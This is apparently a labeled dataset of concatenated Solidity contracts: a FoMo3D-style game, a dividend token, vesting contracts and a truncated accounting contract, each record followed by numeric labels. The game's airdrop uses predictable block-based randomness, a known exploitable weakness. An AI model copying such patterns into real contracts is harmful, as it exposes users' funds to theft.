_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 245 |
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
library ERC20AsmFn {
function isContract(address addr) internal {
assembly {
if iszero(extcodesize(addr)) { revert(0, 0) }
}
}
function handleReturnData() internal returns (bool result) {
assembly {
switch returndatasize()
case 0 {
result := 1
}
case 32 {
returndatacopy(0, 0, 32)
result := mload(0)
}
default {
revert(0, 0)
}
}
}
function asmTransfer(address _erc20Addr, address _to, uint256 _value) internal returns (bool result) {
isContract(_erc20Addr);
require(_erc20Addr.call(bytes4(keccak256("transfer(address,uint256)")), _to, _value));
return handleReturnData();
}
function asmTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal returns (bool result) {
isContract(_erc20Addr);
require(_erc20Addr.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, _to, _value));
return handleReturnData();
}
function asmApprove(address _erc20Addr, address _spender, uint256 _value) internal returns (bool result) {
isContract(_erc20Addr);
require(_erc20Addr.call(bytes4(keccak256("approve(address,uint256)")), _spender, _value));
return handleReturnData();
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FUTC1 is StandardToken {
using SafeMath for uint;
using ERC20AsmFn for ERC20;
string public constant name = "Futereum Centurian 1";
string public constant symbol = "FUTC1";
uint8 public constant decimals = 0;
address public admin;
uint public totalEthReleased = 0;
mapping(address => uint) public ethReleased;
address[] public trackedTokens;
mapping(address => bool) public isTokenTracked;
mapping(address => uint) public totalTokensReleased;
mapping(address => mapping(address => uint)) public tokensReleased;
constructor() public {
admin = msg.sender;
totalSupply_ = 100000;
balances[admin] = totalSupply_;
emit Transfer(address(0), admin, totalSupply_);
}
function () public payable {}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
function changeAdmin(address _receiver) onlyAdmin external {
admin = _receiver;
}
function claimEth() public {
claimEthFor(msg.sender);
}
function claimEthFor(address payee) public {
require(balances[payee] > 0);
uint totalReceived = address(this).balance.add(totalEthReleased);
uint payment = totalReceived.mul(
balances[payee]).div(
totalSupply_).sub(
ethReleased[payee]
);
require(payment != 0);
require(address(this).balance >= payment);
ethReleased[payee] = ethReleased[payee].add(payment);
totalEthReleased = totalEthReleased.add(payment);
payee.transfer(payment);
}
function claimMyTokens() external {
claimTokensFor(msg.sender);
}
function claimTokensFor(address payee) public {
require(balances[payee] > 0);
for (uint16 i = 0; i < trackedTokens.length; i++) {
claimToken(trackedTokens[i], payee);
}
}
function claimToken(address _tokenAddr, address _payee) public {
require(balances[_payee] > 0);
require(isTokenTracked[_tokenAddr]);
uint payment = getUnclaimedTokenAmount(_tokenAddr, _payee);
if (payment == 0) {
return;
}
ERC20 Token = ERC20(_tokenAddr);
require(Token.balanceOf(address(this)) >= payment);
tokensReleased[address(Token)][_payee] = tokensReleased[address(Token)][_payee].add(payment);
totalTokensReleased[address(Token)] = totalTokensReleased[address(Token)].add(payment);
Token.asmTransfer(_payee, payment);
}
function getUnclaimedTokenAmount(address tokenAddr, address payee) public view returns (uint) {
ERC20 Token = ERC20(tokenAddr);
uint totalReceived = Token.balanceOf(address(this)).add(totalTokensReleased[address(Token)]);
uint payment = totalReceived.mul(
balances[payee]).div(
totalSupply_).sub(
tokensReleased[address(Token)][payee]
);
return payment;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(msg.sender != _to);
uint startingBalance = balances[msg.sender];
require(super.transfer(_to, _value));
transferChecks(msg.sender, _to, _value, startingBalance);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool){
require(_from != _to);
uint startingBalance = balances[_from];
require(super.transferFrom(_from, _to, _value));
transferChecks(_from, _to, _value, startingBalance);
return true;
}
function transferChecks(address from, address to, uint checks, uint startingBalance) internal {
uint claimedEth = ethReleased[from].mul(
checks).div(
startingBalance
);
ethReleased[to] = ethReleased[to].add(claimedEth);
ethReleased[from] = ethReleased[from].sub(claimedEth);
for (uint16 i = 0; i < trackedTokens.length; i++) {
address tokenAddr = trackedTokens[i];
uint claimed = tokensReleased[tokenAddr][from].mul(
checks).div(
startingBalance
);
tokensReleased[tokenAddr][to] = tokensReleased[tokenAddr][to].add(claimed);
tokensReleased[tokenAddr][from] = tokensReleased[tokenAddr][from].sub(claimed);
}
}
function trackToken(address _addr) onlyAdmin external {
require(_addr != address(0));
require(!isTokenTracked[_addr]);
trackedTokens.push(_addr);
isTokenTracked[_addr] = true;
}
function unTrackToken(address _addr, uint16 _position) onlyAdmin external {
require(isTokenTracked[_addr]);
require(trackedTokens[_position] == _addr);
ERC20(_addr).asmTransfer(_addr, ERC20(_addr).balanceOf(address(this)));
trackedTokens[_position] = trackedTokens[trackedTokens.length-1];
delete trackedTokens[trackedTokens.length-1];
trackedTokens.length--;
}
} | 1 | 4,186 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic _token) public {
uint256 unreleased = releasableAmount(_token);
require(unreleased > 0);
released[_token] = released[_token].add(unreleased);
_token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic _token) public onlyOwner {
require(revocable);
require(!revoked[_token]);
uint256 balance = _token.balanceOf(address(this));
uint256 unreleased = releasableAmount(_token);
uint256 refund = balance.sub(unreleased);
revoked[_token] = true;
_token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic _token) public view returns (uint256) {
return vestedAmount(_token).sub(released[_token]);
}
function vestedAmount(ERC20Basic _token) public view returns (uint256) {
uint256 currentBalance = _token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(released[_token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[_token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract TokenVestingPool is Claimable {
using SafeERC20 for ERC20Basic;
using SafeMath for uint256;
ERC20Basic public token;
uint256 public totalFunds;
uint256 public distributedTokens;
address[] public beneficiaries;
mapping(address => address[]) public beneficiaryDistributionContracts;
mapping(address => bool) private distributionContracts;
event BeneficiaryAdded(
address indexed beneficiary,
address vesting,
uint256 amount
);
modifier validAddress(address _addr) {
require(_addr != address(0));
require(_addr != address(this));
_;
}
constructor(
ERC20Basic _token,
uint256 _totalFunds
) public validAddress(_token) {
require(_totalFunds > 0);
token = _token;
totalFunds = _totalFunds;
distributedTokens = 0;
}
function addBeneficiary(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
uint256 _amount
) public onlyOwner validAddress(_beneficiary) returns (address) {
require(_beneficiary != owner);
require(_amount > 0);
require(_duration >= _cliff);
require(SafeMath.sub(totalFunds, distributedTokens) >= _amount);
require(token.balanceOf(address(this)) >= _amount);
if (!beneficiaryExists(_beneficiary)) {
beneficiaries.push(_beneficiary);
}
distributedTokens = distributedTokens.add(_amount);
address tokenVesting = new TokenVesting(
_beneficiary,
_start,
_cliff,
_duration,
false
);
beneficiaryDistributionContracts[_beneficiary].push(tokenVesting);
distributionContracts[tokenVesting] = true;
token.safeTransfer(tokenVesting, _amount);
emit BeneficiaryAdded(_beneficiary, tokenVesting, _amount);
return tokenVesting;
}
function getDistributionContracts(
address _beneficiary
) public view validAddress(_beneficiary) returns (address[]) {
return beneficiaryDistributionContracts[_beneficiary];
}
function beneficiaryExists(
address _beneficiary
) internal view returns (bool) {
return beneficiaryDistributionContracts[_beneficiary].length > 0;
}
} | 0 | 1,754 |
pragma solidity^0.4.24;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
library DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
interface ERC20 {
function balanceOf(address src) external view returns (uint);
function totalSupply() external view returns (uint);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
}
contract Accounting {
using DSMath for uint;
bool internal _in;
modifier noReentrance() {
require(!_in);
_in = true;
_;
_in = false;
}
uint public totalETH;
mapping (address => uint) public totalTokenBalances;
struct Account {
bytes32 name;
uint balanceETH;
mapping (address => uint) tokenBalances;
}
Account base = Account({
